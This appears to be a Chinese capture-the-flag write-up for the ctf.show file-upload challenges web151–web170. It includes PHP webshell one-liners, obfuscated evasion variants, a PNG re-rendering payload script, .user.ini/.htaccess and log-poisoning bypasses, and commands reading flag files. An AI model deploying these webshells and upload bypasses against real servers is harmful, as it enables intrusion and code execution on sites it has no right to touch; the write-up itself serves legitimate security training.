文件上传
文件上传常见姿势
- 前端校验 修改前端代码,或burp抓包
- 后端校验 前端上传php,burp修改MIME
- .user.ini
- 文件魔术字节欺骗 php过滤,采用简写
- php骚操作
- 日志包含绕过
- GIF89A绕过getimagesize
- png图片二次渲染
- jpg图片二次渲染
- zip文件上传
- apache解析漏洞
- 木马免杀
web151
前端校验
题目提示前端校验不可靠,绕过前端校验,上传一句话木马
F12查看页面源代码发现仅允许上传JPG文件,因为本题只是前端校验,所以想到两种解决办法
一是修改前端代码,将允许的文件后缀改为php
lay-data="{url: 'upload.php', accept: 'images',exts:'php'}"
然后上传一句话木马为<?php eval($_REQUEST[888]); ,并访问,路径为url+/upload/文件名.php,如果出现了Undefined offset…… 证明一句话木马写入成功,之后利用参数888进行蚁剑链接或者post传参,找到flag
二是用burp抓包,作为中间人的身份修改文件后缀为php
之后的操作同一
web152
后端校验
这道题涉及到后端检验,所以如果还是采用第一题的第一种解法,修改前端代码,就不可了,不过第二种方法仍然可以
介绍一种新方法,后端校验,修改MIME类型,即上图中的content-type
MIME(Multipurpose Internal Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动指定应用程序来打开。多用于来指定一些客户端自定义的文件名,以及一些媒体文件打开方式。
每个MIME类型由两部分组成,前面是数据的大类型,例如声音audio,图像image等,后面定义具体的种类
常见的MIME类型:
超文本标记语言文本:.html text/html
xml文档:.xml text/xml
XHTML文档:.xhtml application/xhtml+xml
普通文本:.txt text/plain
RTF文本:.rtf application/rtf
所以我们可以通过用burp抓包后修改MIME后端检验类型,来执行我们的php代码
首先我们上传一个php文件,同时用burp抓包,将burp中的Content-Type: application/octet-stream 修改为Content-Type: image/png ,即让服务器认为这个文件是一个图片文件去解析执行
上传成功,之后的操作同web151
web153
.user.ini
https://www.php.net/manual/zh/configuration.file.per-user.php
同样的提示说后端检验要严密,访问url/upload,发现可以访问,也即该目录下存在一个php文件,可以利用.user.ini文件上传,该文件只有在有php文件的时候才生效
百度搜索查看到该文件的可配置项有auto_append_file、auto_prepend_file 可以尝试进行文件包含
首先上传user.ini文件,内容为
auto_append_file=ykingh.png
提示上传失败,需要修改前端校验,
首先修改前端提交按钮的accept为file类型,然后删掉exts,接着用burp抓包,修改文件名为.user.ini ,文件内容不变,然后修改MIME类型为image/png并提交
提交成功后继续提交ykingh.png,
内容为一句话木马提交后访问url/upload,进行解析,解析成功后利用 888 post传入参数888=system('cat ../flag.php'); ,提交flag
web154
php过滤
看题,,后端不能单二校验,什么鬼。。。。
题目和上一题区别不大,过滤了php,不过可以采用简写,首先绕过前端验证,可以直接上传一张正常照片,然后采用burp抓包,修改内容为
然后上传图片马,即修改burp内容为
这道题过滤掉了php,采用简写,以后为了避免出现这种情况,我们可以直接采用简写
成功之后,操作同前,访问upload,POST传入参数
首先ls判断出当前文件夹有哪些文件,然后../去找上级目录,发现了flag.php
999=system('cat ../flag.php');
或者直接蚁剑链接
web155
做法完全同web154
web156
这道题在上传木马的时候,经过验证发现对于文件内容进行了过滤,经检测过滤掉了{} php ,所以我们可以构造变相的一句话木马来绕过
<?= eval($_REQUEST{999});?>
之后操作和前几道题一样
web157
php骚操作
这道题做法和前面相同,有区别的地方是,过滤的地方变多了,经过检验有{} [] ; php 等等
影响到了最终的上传,所以我们可以采用php的骚姿势,在上传的图片马中,修改内容为
<?= eval(array_pop($_REQUEST))?>
直接提交请求就可,任何参数都能提交
之后的操作同之前的
另一种方法就是,,
因为我们之前知道了文件的位置,所以我们可以构造一句话木马,直接访问flag,修改一句话木马为
<?= `cat ../fla*`?> 或者<?= system('cat ../fla*')?>
web158
同157
web159
过滤了括号()
web157中不带括号的payload照样可以使用
web160
过滤了括号反引号空格还有一些关键字
突破空格过滤可以用换行符%0a
日志包含绕过
尝试利用日志包含绕过
.user.ini文件照常上传,之后上传的png图片内容修改为
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
log被过滤了,拼接绕过
图片内容上传成功后,在url栏中访问url/upload,找到日志文件,
在该路径下进行UA头修改,修改为一句话
<?php system('nl ../f*')?>
查看源代码即可
web161
GIF89A绕过getimagesize
操作方法和web160相同,在文件内容中增加GIF89A即可
web162、163
经过检测,过滤掉了. 即文件名中不能包含点,文件内容中也不能包含点
可以利用远程文件包含或者session条件竞争
借用spaceman师傅的VPShttp://1363569045/
。。。暂时跳过。。。网上有脚本
web164
png图片渲染
先利用脚本构造出一个png图片,
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'2.png');
?>
木马内容为:<?$_GET[0]($_POST[1]);?>
即get传入命令,post传入参数
上传保存好的图片,上传成功后访问,构造url为http://b4bb37f6-bb13-48e7-bdc0-6edd956d49d2.challenge.ctf.show/download.php?image=fb5c81ed3a220004b71069645f112867.png&0=system
POST传入1=tac f*
然后ctrl+s下载,保存为txt文件打开找到了flag
web165
jpg图片渲染
web166
zip文件上传
首先通过查看源代码,发现本题只允许上传zip格式的文件,我们本地构造一个txt文件,写入一句话木马,然后修改后缀名为.zip,上传,同时用burp抓包,send to repeater之后看到了返回的文件名,在源代码中找到了保存的路径,直接访问并用burp抓包
得到flag
web167
apache解析漏洞
看到提示httpd,想到apache解析漏洞,利用.htaccess文件进行绕过
首先上传.htaccess文件,文件内容为
AddType application/x-httpd-php .png
可以将png文件当作php文件来解析
然后上传png文件,内容为一句话木马
然后访问url,post传参
web168
基础免杀
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>
首先要看懂免杀木马的传参姿势
然后根据题意只能上传png图片,我们可以尝试上传png图片后,用burp抓包修改为php文件
发送到重发器,发送成功,之后访问网址进行解析
web169
日志包含
文件只允许上传zip文件,我们先上传一个zip文件,然后抓包,上传.user.ini,同时修改MIME类型为image/png ,因为png可以解析php文件,上传.user.ini文件时发现文件内容不允许包含php和尖括号,所以我们可以采用日志包含
即上传的.user.ini文件,内容修改为
auto_prepend_file="/var/log/nginx/access.log"
上传成功之后随便上传一个php文件,比如123.php,为了满足蚁剑的链接条件
之后进行日志包含
burp抓包,修改UA头为一句话木马,然后放包,访问上传的123.php,加载了日志文件,通过蚁剑链接即可获取flag
web170
做法同169
|